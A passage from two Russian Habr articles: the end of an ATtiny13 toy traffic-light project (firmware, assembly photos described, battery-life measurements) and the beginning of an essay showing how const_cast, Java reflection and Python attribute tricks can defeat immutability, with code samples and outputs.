TIMSK0 |= \_BV(TOIE0); // При переполнении будет вызвано прерывание overflow interrupt
#else // Если ардуино нано, атмега328/16м
// 100 - prescaler 64; Foverflow = 16M/64\*256 ~=976.56Hz,
TCCR2B = (1< MAX\_GLOBAL\_TIMER\_VALUE){
globalTimer -= MAX\_GLOBAL\_TIMER\_VALUE; // откатить глобальный таймер
//
if(tl\_flash\_end){
tl\_flash\_end -= MAX\_GLOBAL\_TIMER\_VALUE; // откатить период мигания, если есть
}
if(tl\_signal\_end){
tl\_signal\_end -= MAX\_GLOBAL\_TIMER\_VALUE; // // откатить период состояния, если есть
}
// setPeriods(currentMode, false); // код на 12 байт меньше, но tl\_..\_end сбросятся в исходное, будет единичным увеличенным интервалом переключения
}
#pragma endregion
#pragma region ButtonState
//проверка нажатия кнопки
if(BUTTON\_ON){
if(scan\_button\_cnt < USHRT\_MAX){
scan\_button\_cnt++; // еще одна 1/37 секунды кнопка продолжала быть нажатой
}
// СБРОС флагов - дело тех, кто их ниже обработает
if(scan\_button\_cnt > PERIOD\_PRESS\_BUTTON\_SHORT){
SET\_SHORT\_PRESS\_FLAG; // кстати, нажатие уже длиннее короткого нажатия, запомним
}
if(scan\_button\_cnt > PERIOD\_PRESS\_BUTTON\_LONG){
SET\_LONG\_PRESS\_FLAG; // и даже длиннее нажатия длинного
}
}
#pragma endregion
#pragma region LightWorkLogic
//если в режиме работы есть мигание (tl\_flash\_end !=0 )
if(tl\_flash\_end){
// и время смены мигания пришло
if(globalTimer > tl\_flash\_end){
FLIP\_USE\_FIRST\_VALUES\_LIGHT\_FLAG; // !use\_main\_values - или или одно из двух ))
setPorts(current\_signal, IF\_USE\_FIRST\_VALUES\_LIGHT\_FLAG); // переключить режим текущего состояния на противоположный
setPeriods(current\_signal, false); // обновить только следующий период мигания, но не состояния
}
}
// если в режиме работы есть ограничение времени состояния
// - собственно это только operating\_std отображение последовательности по ГОСТУ - красный-желтый-зеленый
// ну и индикация старта, который после +1 станет меньше 7
if(tl\_signal\_end){
// и уже пора переключиться на следующий (use\_main\_values - чтобы переключение было с горящего зеленого - на желтый)
if((globalTimer > tl\_signal\_end) && IF\_USE\_FIRST\_VALUES\_LIGHT\_FLAG){
current\_signal ++; // следующий сигнал светофора
current\_signal &= MASK\_LIGHT\_NUM\_STD; // обнулить биты выше 3-го, в основном режиме рабочие номера состояний с 0 по 7
SET\_FORCE\_SET\_SIGNAL\_FLAG; // включить лампы согласно current\_signal
}
}
#pragma endregion
#pragma region MODE\_VALUELogic
// Машина состояний кнопки, 2 бита f\_button\_state\_flags
//? MODE\_VALUE === pwrdown -> wakeup -> work -> tosleep -> pwrdown
switch (MODE\_VALUE){
case (MODE\_WAKEUP\_VALUE):
set\_sleep\_mode(SLEEP\_MODE\_IDLE); // не спать!
// лампы не включать, пока кнопка не нажата достаточно долго - IF\_BUTTON\_LONG\_FLAG
if(IF\_LONG\_PRESS\_FLAG){
// а не включена ли уже сигнализация? тогда включать свет!
if(current\_signal == LIGHT\_NUM\_LIGHTS\_OFF){
// последний раз перед засыпанием светофор был в режиме желтого мигающего? LIGHT\_NUM\_ERR
current\_signal = (IF\_LIGHT\_SIGNAL\_ALT\_MODE\_FLAG) ? LIGHT\_NUM\_YELLOW\_FLASH : LIGHT\_NUM\_STD\_START;
SET\_FORCE\_SET\_SIGNAL\_FLAG; // включить лампы согласно current\_signal
}
}
//о, кнопку отжали...
if(BUTTON\_OFF){
// а перед этим жали так долго, что светофор включился
if(IF\_LONG\_PRESS\_FLAG){
SET\_MODE\_WORK;
}else{
// А не, фальстарт, для включения недожали, спать дальше
SET\_MODE\_PWRDOWN; // на следующем цикле подготовит режим сна и заснет
}
scan\_button\_cnt = 0; // в любом случае сбросить счетчик длительности нажатий
RES\_SHORT\_PRESS\_FLAG; // и флаги нажатия, конечно
RES\_LONG\_PRESS\_FLAG;
}
break;
case (MODE\_WORK\_VALUE):
// кнопка нажималась?
if(scan\_button\_cnt > 0){
// Нажатие оооочень длинное?
if(IF\_LONG\_PRESS\_FLAG){
current\_signal = LIGHT\_NUM\_LIGHTS\_OFF; // гаси свет
SET\_FORCE\_SET\_SIGNAL\_FLAG; // бросай гранату - установить порты "свет выключен"
SET\_MODE\_TOSLEEP; // команда всем спать!
}
//Кнопку отпустили?
if(BUTTON\_OFF){
// нажата была дольше короткого трешхолда?
if(IF\_SHORT\_PRESS\_FLAG){
FLIP\_LIGHT\_SIGNAL\_ALT\_MODE\_FLAG; // инвертировать флаг режима работы сигнализации
current\_signal = (IF\_LIGHT\_SIGNAL\_ALT\_MODE\_FLAG) ? LIGHT\_NUM\_YELLOW\_FLASH : LIGHT\_NUM\_STD\_START; // на начальный номер выбр. режима
SET\_FORCE\_SET\_SIGNAL\_FLAG; // флаг установки режима лампы согласно current\_signal
}
scan\_button\_cnt=0;
RES\_SHORT\_PRESS\_FLAG; //сброс флагов нажатия и счетчика
RES\_LONG\_PRESS\_FLAG;
}
}
break;
case (MODE\_TOSLEEP\_VALUE):
// Выход из состояния - только по отжатой кнопке.
if(BUTTON\_OFF){
SET\_MODE\_PWRDOWN; // На следующем цикле уснет
}
break;
case (MODE\_PWRDOWN\_VALUE):
// О! доброе утро, проснулись! Нажата кнопка?
if(BUTTON\_ON){
set\_sleep\_mode(SLEEP\_MODE\_IDLE);
SET\_MODE\_WAKEUP;
}else{
// Не нажата? Спать дальше.
scan\_button\_cnt = 0;
RES\_LONG\_PRESS\_FLAG;
RES\_SHORT\_PRESS\_FLAG;
current\_signal = LIGHT\_NUM\_LIGHTS\_OFF; //гаси свет
SET\_FORCE\_SET\_SIGNAL\_FLAG;
set\_sleep\_mode(SLEEP\_MODE\_PWR\_DOWN); // теперь крепко уснет - в конце while(1)
ENABLE\_EXTERNAL\_INT0; // разрешить прерывание по нажатию кнопки
}
break;
default:
//! Что то пошло совсем не так - подать индикацию ошибки сюда. Вообще - невозможное состояние при правильно написанной программе
current\_signal = LIGHT\_NUM\_ERR;
SET\_FORCE\_SET\_SIGNAL\_FLAG;
//setPorts(current\_signal,true);
//setPeriods(current\_signal,true);
break;
}
#pragma endregion
// Высшие строки решили, что надо переключить состояние в какое-то другое?
if(IF\_FORCE\_SET\_SIGNAL\_FLAG){ // Флаг принудительной установки состояния сигнализации по current\_signal
RES\_FORCE\_SET\_SIGNAL\_FLAG; // сброс флага
SET\_USE\_FIRST\_VALUES\_LIGHT\_FLAG; // Новый режим - начинать с 0-го значения пары ддр-порт
setPorts(current\_signal, IF\_USE\_FIRST\_VALUES\_LIGHT\_FLAG); // переключить режим текущего состояния на #current\_signal в массиве
setPeriods(current\_signal, true);
}
// спать еще на 1/37 секунды. Или, может, и дольше.
sleep\_cpu(); //и в самом конце бесконечного главного цикла - уходим в сон.
}
}
//.................................... функции
//
// установка значений порта В
void setPorts(uint8\_t num, bool use\_main\_values){
uint8\_t val;
DDRB = 0; PORTB = 0;
// Если основной режим (мигания) - ddr\_val\_0, else = ddr\_val\_1
// val = (use\_main\_values) ? pgm\_read\_byte\_near(&(traffic\_signals[num].ddr\_val\_0))
// : pgm\_read\_byte\_near(&(traffic\_signals[num].ddr\_val\_1));
// то же самое, но не так понятно, арифметика указателей, данные в коде, зато на 14 (!!!) байт код легче.
val = pgm\_read\_byte\_near(&(traffic\_signals[num].ddr\_val\_0)+( (use\_main\_values) ? 0 : sizeof(uint8\_t)\*2 ) );
val &= ~\_BV(BUTTON\_PIN); // сброс бита пина кнопки, она всегда включена - ВХОД
DDRB = val; // установка режима пинов порта
val = (use\_main\_values) ? pgm\_read\_byte\_near(&(traffic\_signals[num].port\_val\_0))
: pgm\_read\_byte\_near(&(traffic\_signals[num].port\_val\_1));
val|= \_BV(BUTTON\_PIN); // подтяжка на пине кнопки - активируется - срабатывание на низкий уровень
PORTB = val; // установка значений выходов и входов порта
}
//Установить время окончания режима мигания (или длительность работы режима сигнализации)
void setPeriods(uint8\_t num, bool set\_both\_flash\_and\_signal){
// глобальные переменные
tl\_flash\_end = pgm\_read\_word\_near (&(traffic\_signals[num].flash\_period)); // период мигания
tl\_flash\_end = (tl\_flash\_end)? tl\_flash\_end + globalTimer : 0; //время окончания режима мигания - если не нулевое значение периода
//if(tl\_flash\_end){ tl\_flash\_end += globalTimer; } <- вот так код на 8 байт длиннее
// если установить оба периода - и состояния и мигания
if(set\_both\_flash\_and\_signal){
tl\_signal\_end = pgm\_read\_word\_near(&(traffic\_signals[num].signal\_period));
tl\_signal\_end = (tl\_signal\_end)? tl\_signal\_end + globalTimer : 0; // время переключения на следующий режим, если не нулевое значение
}
}
//Program size: 976 bytes (used 95% of a 1 024 byte maximum) (0,83 secs)
//Minimum Memory Usage: 8 bytes (13% of a 64 byte maximum)
```
*Program size: 976 bytes (used 95% of a 1 024 byte maximum) (0,83 secs)
Minimum Memory Usage: 8 bytes (13% of a 64 byte maximum)*
Всё.
Поставленные задачи по реализации ~~души порывов светофора~~ логики работы в тесных рамках ATtiny13 решены.
### Анатомия самшитово-саманного светофора
Светофоровый эпителий (или это был внешний скелет?) уже сделан ранее. Остались мелочи — мозг и ливер. Название цирка и древние магические практики требуют создать их из того, что есть под руками, по возможности, с синей изолентой. Тот случай, когда картинки лучше тысячи слов, и фотографий довольно много.
**Нет, действительно много**#### Мозги
В DipTrace приведенная выше принципиальная схема из модуля «Схемотехника» естественным образом экспортируется в модуль «PCB Layout», предназначенный для редактирования печатных плат. Светодиоды и токоограничивающие резисторы будут в других местах, с ПП их стираю.
Размеры печатной платы — по размерам уже готовой внешней оболочки светофора.
Естественно, при печати для перевода на металлизацию необходимо оставить лишь необходимые слои, и перевернуть изображение зеркально.
Странно было бы ожидать великолепного перевода результата при использовании обыкновенной бумаги для лазерного принтера (было лень идти в магазин за ломондом, попробовал за неимением гербовой на 80-граммовой обыкновенной и неожиданно получилось).
Всегда можно подправить или дорисовать недостающее перманентным CD маркером.
Результат травления будет, может, не великолепным, но приемлемым.
Отлуженные дорожки — уже вполне себе ничего.
**Важно**: *мне не нравится лудить ПП сплавами Розе или Вуда, за великолепный внешний вид без соплей и неровностей придётся платить нестойкостью при минусовых температурах и проблемной долговечностью*.
И тонер, и маркер, и канифоль великолепно убираются с ПП жидкостью для снятия лака из косметички жены. У кого нет — очень советую завести, очень полезна в хозяйстве.
#### Внутренности
Очень полезный для макетирования и поделок материал — полимерная глина. В хобби-маркете Леонардо как-то "Craft&Clay" 50-ти граммовые распродавались рублей по 70. Отражатель будет из неё, вот он формуется на колпачке капсулы от бахил.
Эти капсулы так же незаменимы для хранения мелких рассыпчатых хрупких вещей.
Снятые с колпачков и прогретые после этого 15 минут в духовке при 130 градусах обработаны наждачкой.
Разность цветов полимера не имеет значения — отражатели пойдут под покраску.
Окрашенные и просохшие — соединяются по принципиальной схеме.
Провод МГТФ — пойдёт на управляющий вывод контроллера.
И провода правильно убирать в термоусадку.
Конструкция из 4 х отражателей располагается вокруг трубки, диаметром на 2-3 мм больше, чем
диаметр батареи АА, на которой намотано несколько оборотов бумаги.
И фиксируется термоклеем. Белый клей, вероятно, смотрелся бы симпатичнее, но "он ел что давали".
Естественно, все блоки поясов цветов должны подходить по месту к светофору.
Окончательно склеенные отражатели напоминают спутник связи из KSP. На фото попал диод для зеленого пояса — без него все 4 зеленых LED последовательно немного светились от 5В без сигнала управления на центре.
АА батарея внутри бумажной трубки поджата с обеих сторон самодельными пробками с самодельными пружинами из стальной проволоки, к которой припаян МГТФ, идущий на DC-DC 0.9-5В стоимостью меньше, чем разовый проезд на автобусе.
Окошки закрыты белой матовой светорассеивающей бумагой. Чуть позже, в заключительной главе объясню, зачем появился выключатель из джампера на питании от батареи.
#### Оживление
Отладка, естественно, без батарейки, питание от программатора.
Пара добавочных проводов питания и разъём ISP на плате подключал к 10-ти пиновому разъему программатора.
### Изучение жизнедеятельности светофора
Светофор регулирует направления точно по ГОСТу, выглядит, как настоящий, но кое-что осталось за кадром. Для автономного устройства всегда актуален вопрос времени работы, прописано ли требование в ТЗ, или просто висит в воздухе "как можно дольше". Светофор спроектирован для работы от 1.5 В, в таблице сравнительной емкости выделил жирным используемый вариант — алкалиновую АА батарею. Нельзя не посоветовать хороший структуированный [справочник по энергосбережению](http://www.gammon.com.au/power) и всяческим энерготрюкам на МК, оттуда и взял данные для таблицы.
| Тип батареи | Емкость, мАч | Саморазряд, %/мес | Ток саморазряда, мкА |
| --- | --- | --- | --- |
| CR1212 | 18 | 1 | 0.250 |
| CR1620 | 68 | 1 | 0.950 |
| CR2032 | 210 | 1 | 3 |
| NiCD AAA | 350 | 20 | 98 |
| NiMH AAA | 900 | 30 | 375 |
| NiCd AA | 1000 | 20 | 270 |
| Alkaline AAA | 1250 | 2 | 35 |
| NiMH AA | 2400 | 30 | 1000 |
| **Alkaline AA** | **2890** | **2** | **80** |
| Li-Ion | 4400 | 10 | 600 |
Два последних столбца показывают значения саморазряда, который можно представить эквивалентом паразитного энергопотребления. Например, выбранная алкалиновая батарея АА, к потреблению устройством добавляет (2/100)*2890/(24*30) = 80 мкА. Невеликий ток, но он в 2 с лишним раза больше, чем 32 мкА теоретического минимального потребления МК ATtiny13.
При написании прошивки во многих местах задача автономности неявно решалась: это и увод в сон при бездельи, и подтягивание неиспользуемых GPIO, и отключение прерываний при отсутствии необходимости. Основной потребитель энергии — светодиоды, подбором резисторов ток ограничивался до минимальных значений (от 4 мА до 14 мА на "полуветку"), при которых свечение было достаточной яркости, хотя вывод МК позволяет постоянно держать до 40 мА.
Естественно, в различных режимах потребная мощность будет отличаться — самое время посмотреть насколько. Подключая амперметр в цепь питания устройства, замерю ток в различных режимах отображения. Кроме этого, замеры буду делать в двух вариантах: при питании от внешнего источника 5В получу данные энергопотребления светофора без DC-DC преобразователя, и в варианте, когда амперметр включается в цепь между батареей и повышающим DC-DC данные будут с учетом преобразования 1.5 В -> 5 В. Я не делал отдельной прошивки для каждого измерения, из-за чего достоверность измерений оцениваю не выше +-20%, оценивал порядок энергопотребления.
Данные однозначно показывают, что даже в спящем "выключенном" режиме энергопотребление 4-5 мА(5 В) или, что то же самое, 25 мА(1.5 В), что согласуется со
Т.о. 2890 мАч батареи АА хватит всего на 116 часов, что меньше пяти суток. Потребление самого ATtiny13 в режиме сна POWER DOWN с отключенной периферией не более нескольких сотен мкА. Полагаю, основное слагаемое таких больших токов утечки — токи через выбранную мной схему подключения светодиодов. По спецификации входное сопротивление пина с включенной подтяжкой 20-50 кОм, в альтернативном режиме включения, Hi-Z, ток утечки 1 мкА. Кроме этого, потребление энергии DC-DC преобразователем во время сна не прекращается.
Во включенном состоянии время жизни светофора будет меньше от 2 до 5 раз. Мораль: выключатель питания в цепи батареи является деталью совершенно необходимой.
Некоторые процессы можно только прекратить, но не закончить
-----------------------------------------------------------
Совершенству пределов нет, можно продолжать гранить бриллиант и дальше:
* При определении пина вводом, включать подтяжку — обязательно, если сэкономили на внешней подтяжке R2, уменьшит количество переключений триггеров состояния от наводок, сэкономит ещё чуть энергии. Можно безболезненно выкинуть из программы.
* Освободить еще один пин. Подключить желтый пояс света так же как красный и зеленый — но придется отказаться спать на каждом цикле по 1/37 секунды, реализовав импульсное управление и подобрав светодиоды для компенсации снижения яркости.
* Добавить пару полевиков в схему и реализовать честное отключение питания от повышающего преобразователя по сигналу МК, а не уход в глубокий сон, как сейчас. В режиме сна POWER\_DOWN энергопотребление самого МК до 30 мкА, но кроме МК жрёт преобразователь напряжения, он работает на холостом ходу, и токи утечки через цепочки светодиодов все равно заметны.
* Экземпляр структуры traffic\_signals ужать с 8 байт до 4, не изменяя логики. Используются всего 4 pin — в 1 байт можно упаковать и DDR и PORTB
* Двухбайтовый тип uint16\_t для signal\_period и flash\_period — не обязателен, можно в четвертях секунды задавать, тогда по 1 байту хватит на хранение.
* Перевести на ассемблер — по ROM ужаться раза в 2 можно, переменные сделать регистровыми — не надо будет постоянно читать-писать в память при работе с ними.
* В освободившееся место и пины впихнуть обмен данными для управления несколькими светофорами по ИК/UART.
* Утащить внутрь функции main глобальные переменные — каждая глобальная переменная в С — примерно +50 байт требуемого ROM.
* МК позволяет снизить частоту внутреннего генератора с 9,6 МГц хоть до 128 кГц, уменьшая собственное потребление МК в десятки раз.
Но.
Но есть очень весомый контрдовод к продолжению работ: любимая жена говорит "выкинь ёлку", и, учитывая 8 марта, ёлку придётся разобрать, а ёлочную игрушку «Светофор» счесть прошедшей приемные испытания.
Осталось предоставить отчет по разработке на развлечение и суд хабрапублике.
Видео работы
------------
Исходники доступны на [Github](https://github.com/lugovskovp/TrafficLight13), под лицензией MIT. | https://habr.com/ru/post/443188/ | null | ru | null |
# Иллюзия иммутабельности и доверие как основа командной разработки
Вообще я C++ программист. Ну так получилось. Подавляющее большинство коммерческого кода, который я написал за свою карьеру, — это именно C++. Мне не очень нравится такой сильный перекос моего личного опыта в сторону одного языка, и я стараюсь не упускать возможности написать что-нибудь на другом языке. И мой текущий работодатель внезапно такую возможность предоставил: я взялся сделать одну не самую тривиальную утилиту на Java. Выбор языка реализации был сделан по историческим причинам, да я и не возражал. Java так Java, чем менее мне знакомо — тем лучше.
Помимо прочего возникла у меня довольно простая задача: единожды сформировать некий набор логически связанных данных и передать его некоему потребителю. Потребителей может быть несколько, и согласно принципу инкапсуляции передающий код (производитель) понятия не имеет, что там внутри и что оно может сделать с исходными данными. Но производителю надо, чтобы каждый потребитель получил одни и те же данные. Делать копии и отдавать их мне не хотелось. Значит, надо как-то лишить потребителей возможности изменять переданные им данные.
Тут-то моя неопытность в Java и дала о себе знать. Мне не хватало возможностей языка по сравнению с C++. Да, тут есть ключевое слово `final`, но `final Object` — это как `Object* const` в C++, а не `const Object*`. Т.е. в `final List` можно добавлять строки, например. То ли дело C++: понавставлять везде `const` по заветам Майерса, и все! Никто ничего не изменит. Так? Ну не совсем. Я немного поразмышлял на эту тему ~~вместо того, чтобы делать ту утилиту~~ на досуге, и вот к чему я пришел.
С++
---
Напомню саму задачу:
1. Единожды создать набор данных.
2. Ничего не копировать без надобности.
3. Запретить потребителю менять эти данные.
4. Минимизировать код, т.е. не создавать кучу методов и интерфейсов для каждого набора данных, нужного в общем-то всего в паре мест.
Никаких отягчающих условий типа многопоточности, безопасности в смысле исключений и т.п. Рассмотрим самый простой случай. Вот как бы я это сделал с использованием наиболее знакомого мне языка:
**foo.hpp**
```
#pragma once
#include
#include
struct Foo
{
const int intValue;
const std::string strValue;
const std::list listValue;
Foo(int intValue\_,
const std::string& strValue\_,
const std::list& listValue\_)
: intValue(intValue\_)
, strValue(strValue\_)
, listValue(listValue\_)
{}
};
std::ostream& operator<<(std::ostream& out, const Foo& foo)
{
out << "INT: " << foo.intValue << "\n";
out << "STRING: " << foo.strValue << "\n";
out << "LIST: [";
for (auto it = foo.listValue.cbegin(); it != foo.listValue.cend(); ++it)
{
out << (it == foo.listValue.cbegin() ? "" : ", ") << \*it;
}
out << "]\n";
return out;
}
```
**api.hpp**
```
#pragma once
#include "foo.hpp"
#include
class Api
{
public:
const Foo& getFoo() const
{
return currentFoo;
}
private:
const Foo currentFoo = Foo{42, "Fish", {0, 1, 2, 3}};
};
```
**main.cpp**
```
#include "api.hpp"
#include "foo.hpp"
#include
namespace
{
void goodConsumer(const Foo& foo)
{
// do nothing wrong with foo
}
}
int main()
{
{
const auto& api = Api();
goodConsumer(api.getFoo());
std::cout << "\*\*\* After good consumer \*\*\*\n";
std::cout << api.getFoo() << std::endl;
}
}
```
Очевидно, тут все хорошо, данные неизменны.
**Вывод**
```
*** After good consumer ***
INT: 42
STRING: Fish
LIST: [0, 1, 2, 3]
```
#### А если кто-то попытается что-то изменить?
**main.cpp**
```
void stupidConsumer(const Foo& foo)
{
foo.listValue.push_back(100);
}
```
Да код просто не скомпилируется.
**Ошибка**
```
src/main.cpp: In function ‘void {anonymous}::stupidConsumer(const Foo&)’:
src/main.cpp:16:36: error: passing ‘const std::__cxx11::list’ as ‘this’ argument discards qualifiers [-fpermissive]
foo.listValue.push\_back(100);
```
#### Что может пойти не так?
Это же C++ — язык с богатейшим арсеналом оружия для стрельбы по собственным ногам! Например:
**main.cpp**
```
void evilConsumer(const Foo& foo)
{
const_cast(foo.intValue) = 7;
const\_cast(foo.strValue) = "James Bond";
}
```
**Ну и собственно все:**
```
*** After evil consumer ***
INT: 7
STRING: James Bond
LIST: [0, 1, 2, 3]
```
Замечу еще, что использование `reinterpret_cast` вместо `const_cast` в данном случае приведет к ошибке компиляции. А вот приведение в стиле C позволит провернуть этот фокус.
Да, такой код может привести к Undefined Behavior *[C++17 10.1.7.1/4]*. Он вообще выглядит подозрительно, что хорошо. Легче отловить во время ревью.
Плохо, что зловредный код может прятаться как угодно глубоко в потребителе, но все равно будет работать:
**main.cpp**
```
void evilSubConsumer(const std::string& value)
{
const_cast(value) = "Loki";
}
void goodSubConsumer(const std::string& value)
{
evilSubConsumer(value);
}
void evilCautiousConsumer(const Foo& foo)
{
const auto& strValue = foo.strValue;
goodSubConsumer(strValue);
}
```
**Вывод**
```
*** After evil but cautious consumer ***
INT: 42
STRING: Loki
LIST: [0, 1, 2, 3]
```
#### Преимущества и недостатки C++ в данном контексте
Что хорошо:
* можно легко объявить доступ на чтение к чему угодно
* случайное нарушение этого ограничения выявляется на этапе компиляции, т.к. константные и неконстантные объекты могут иметь разные интерфейсы
* сознательное нарушение может быть выявлено на код-ревью
Что плохо:
* сознательный обход запрета на изменения возможен
* и выполняется в одну строчку, т.е. его легко пропустить на код-ревью
* и может привести к неопределенному поведению
* определение класса может раздуваться из-за необходимости реализации разных интерфейсов для константных и не константных объектов
Java
----
В Java, как я понял, используется несколько другой подход. Примитивные типы, объявленные как `final`, — являются константными в том же смысле, что и в C++. Строки в Java в принципе неизменяемы, так что `final String` — то, что надо в данном случае.
Коллекции же можно поместить в неизменяемые обертки, для чего есть статические методы класса `java.util.Collections` — `unmodifiableList`, `unmodifiableMap` и т.д. Т.е. интерфейс у константных и неконстантных объектов один и тот же, но неконстантные кидают исключение при попытке их изменить.
Что же касается пользовательских типов, то самому пользователю и придется создавать неизменяемые обертки. В общем, вот мой вариант для Java.
**Foo.java**
```
package foo;
import java.util.Collections;
import java.util.List;
public final class Foo {
public final int intValue;
public final String strValue;
public final List listValue;
public Foo(final int intValue,
final String strValue,
final List listValue) {
this.intValue = intValue;
this.strValue = strValue;
this.listValue = Collections.unmodifiableList(listValue);
}
@Override
public String toString() {
final StringBuilder sb = new StringBuilder();
sb.append("INT: ").append(intValue).append("\n")
.append("STRING: ").append(strValue).append("\n")
.append("LIST: ").append(listValue.toString());
return sb.toString();
}
}
```
**Api.java**
```
package api;
import foo.Foo;
import java.util.Arrays;
public final class Api {
private final Foo foo = new Foo(42, "Fish", Arrays.asList(0, 1, 2, 3));
public final Foo getFoo() {
return foo;
}
}
```
**Main.java**
```
import api.Api;
import foo.Foo;
public final class Main {
private static void goodConsumer(final Foo foo) {
// do nothing wrong with foo
}
public static void main(String[] args) throws Exception {
{
final Api api = new Api();
goodConsumer(api.getFoo());
System.out.println("*** After good consumer ***");
System.out.println(api.getFoo());
System.out.println();
}
}
}
```
**Вывод**
```
*** After good consumer ***
INT: 42
STRING: Fish
LIST: [0, 1, 2, 3]
```
#### Неудачная попытка изменения
Если просто попытаться изменить что-нибудь, например:
**Main.java**
```
private static void stupidConsumer(final Foo foo) {
foo.listValue.add(100);
}
```
Этот код скомпилируется, но во время выполнения будет брошено исключение:
**Исключение**
```
Exception in thread "main" java.lang.UnsupportedOperationException
at java.base/java.util.Collections$UnmodifiableCollection.add(Collections.java:1056)
at Main.stupidConsumer(Main.java:15)
at Main.main(Main.java:70)
```
#### Удачная попытка
А если по-плохому? Здесь нет способа убрать у типа квалификатор `final`. Но в Java есть гораздо более мощная штука — рефлексия.
**Main.java**
```
import java.lang.reflect.Field;
private static void evilConsumer(final Foo foo) throws Exception {
final Field intField = Foo.class.getDeclaredField("intValue");
intField.setAccessible(true);
intField.set(foo, 7);
final Field strField = Foo.class.getDeclaredField("strValue");
strField.setAccessible(true);
strField.set(foo, "James Bond");
}
```
**И иммутабельность кончилась**
```
*** After evil consumer ***
INT: 7
STRING: James Bond
LIST: [0, 1, 2, 3]
```
Такой код выглядит еще более подозрительно, чем `cosnt_cast` в C++, его еще проще отловить на ревью. И он тоже может привести к [непредсказуемым эффектам](https://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Field.html#set-java.lang.Object-java.lang.Object-) (т.е. в Java есть UB?). И так же может прятаться сколь угодно глубоко.
Эти непредсказуемые эффекты могут быть связаны с тем, что при изменении `final` объекта с помощью рефлексии значение, возвращаемое методом `hashCode()` может остаться прежним. Разные объекты с одинаковым хэшем — это еще не проблема, а вот одинаковые объекты с разными хэшами — это плохо.
Чем еще опасен такой хак в Java именно для строк ([пример](https://github.com/mzinin/illusion_of_immutability/blob/master/java/src/Main.java#L28)): строки здесь могут храниться в пуле, и на одно и то же значение в пуле могут указывать никак не связанные друг с другом, просто одинаковые строки. Изменил одну — изменил их все.
Но! JVM можно запускать с различными настройками безопасности. Уже дефолтный `Security Manager`, будучи активированным, пресекает все вышеописанные фокусы с рефлексией:
**Исключение**
```
$ java -Djava.security.manager -jar bin/main.jar
Exception in thread "main" java.security.AccessControlException: access denied ("java.lang.reflect.ReflectPermission" "suppressAccessChecks")
at java.base/java.security.AccessControlContext.checkPermission(AccessControlContext.java:472)
at java.base/java.security.AccessController.checkPermission(AccessController.java:895)
at java.base/java.lang.SecurityManager.checkPermission(SecurityManager.java:335)
at java.base/java.lang.reflect.AccessibleObject.checkPermission(AccessibleObject.java:85)
at java.base/java.lang.reflect.Field.setAccessible(Field.java:169)
at Main.evilConsumer(Main.java:20)
at Main.main(Main.java:71)
```
#### Преимущества и недостатки Java в данном контексте
Что хорошо:
* есть ключевое слово `final`, которое кое-как ограничивает изменение данных
* есть библиотечные методы для превращения коллекций в неизменяемые
* сознательное нарушение иммутабельности легко выявляется на код-ревью
* есть настройки безопасности JVM
Что плохо:
* попытка изменить неизменяемый объект проявится только во время выполнения
* для того, чтобы сделать объект некоего класса неизменяемым, придется самому писать соответствующую обертку
* в отсутствие соответствующих настроек безопасности возможно изменить любые неизменяемые данные
* у этого действия могут быть непредсказуемые последствия (хотя, может, это и хорошо — почти никто так делать не будет)
Python
------
Ну а дальше меня уже просто понесло по волнам любопытства. Как решаются подобные задачи, например, в Python’е? И решаются ли вообще? Ведь в питоне никакой константности нет в принципе, даже ключевых слов таких нет.
**foo.py**
```
class Foo():
def __init__(self, int_value, str_value, list_value):
self.int_value = int_value
self.str_value = str_value
self.list_value = list_value
def __str__(self):
return 'INT: ' + str(self.int_value) + '\n' + \
'STRING: ' + self.str_value + '\n' + \
'LIST: ' + str(self.list_value)
```
**api.py**
```
from foo import Foo
class Api():
def __init__(self):
self.__foo = Foo(42, 'Fish', [0, 1, 2, 3])
def get_foo(self):
return self.__foo
```
**main.py**
```
from api import Api
def good_consumer(foo):
pass
def evil_consumer(foo):
foo.int_value = 7
foo.str_value = 'James Bond'
def main():
api = Api()
good_consumer(api.get_foo())
print("*** After good consumer ***")
print(api.get_foo())
print()
api = Api()
evil_consumer(api.get_foo())
print("*** After evil consumer ***")
print(api.get_foo())
print()
if __name__ == '__main__':
main()
```
**Вывод**
```
*** After good consumer ***
INT: 42
STRING: Fish
LIST: [0, 1, 2, 3]
*** After evil consumer ***
INT: 7
STRING: James Bond
LIST: [0, 1, 2, 3]
```
Т.е. никаких ухищрений просто не надо, бери да меняй поля любого объекта.
#### Джентльменское соглашение
В питоне принята следующая [практика](https://www.python.org/dev/peps/pep-0008/#descriptive-naming-styles):
* пользовательские поля и методы, чьи имена начинаются с одного подчеркивания, — это защищенные (*protected* в C++ и Java) поля и методы
* пользовательские поля и методы с именами, начинающимися с двух подчеркивания, — это приватные (*private*) поля и методы
Язык даже делает декорацию (*mangling*) для «приватных» полей. Весьма наивную декорацию, никакого сравнения с C++, но и этого хватает, чтобы игнорировать (но не отловить) непреднамеренные (или наивные) ошибки.
**Код**
```
class Foo():
def __init__(self, int_value):
self.__int_value = int_value
def int_value(self):
return self.__int_value
def evil_consumer(foo):
foo.__int_value = 7
```
**Вывод**
```
*** After evil consumer ***
INT: 42
```
А чтобы совершить ошибку преднамеренно, достаточно добавить всего несколько символов.
**Код**
```
def evil_consumer(foo):
foo._Foo__int_value = 7
```
**Вывод**
```
*** After evil consumer ***
INT: 7
```
#### Еще один вариант
Мне понравилось решение, предложенное [Oz N Tiram](https://github.com/oz123/oz123.github.com/blob/master/media/uploads/readonly_properties.py). Это простой декоратор, который при попытке изменить *read only* поле кидает исключение. Это немного выходит за оговоренные рамки («не создавать кучу методов и интерфейсов»), но, повторюсь, мне понравилось.
**foo.py**
```
from read_only_properties import read_only_properties
@read_only_properties('int_value', 'str_value', 'list_value')
class Foo():
def __init__(self, int_value, str_value, list_value):
self.int_value = int_value
self.str_value = str_value
self.list_value = list_value
def __str__(self):
return 'INT: ' + str(self.int_value) + '\n' + \
'STRING: ' + self.str_value + '\n' + \
'LIST: ' + str(self.list_value)
```
**main.py**
```
def evil_consumer(foo):
foo.int_value = 7
foo.str_value = 'James Bond'
```
**Вывод**
```
Traceback (most recent call last):
File "src/main.py", line 35, in
main()
File "src/main.py", line 28, in main
evil\_consumer(api.get\_foo())
File "src/main.py", line 9, in evil\_consumer
foo.int\_value = 7
File "/home/Tmp/python/src/read\_only\_properties.py", line 15, in \_\_setattr\_\_
raise AttributeError("Can't touch {}".format(name))
AttributeError: Can't touch int\_value
```
Но и это не панацея. Но хотя бы соответствующий код выглядит подозрительно.
**main.py**
```
def evil_consumer(foo):
foo.__dict__['int_value'] = 7
foo.__dict__['str_value'] = 'James Bond'
```
**Вывод**
```
*** After evil consumer ***
INT: 7
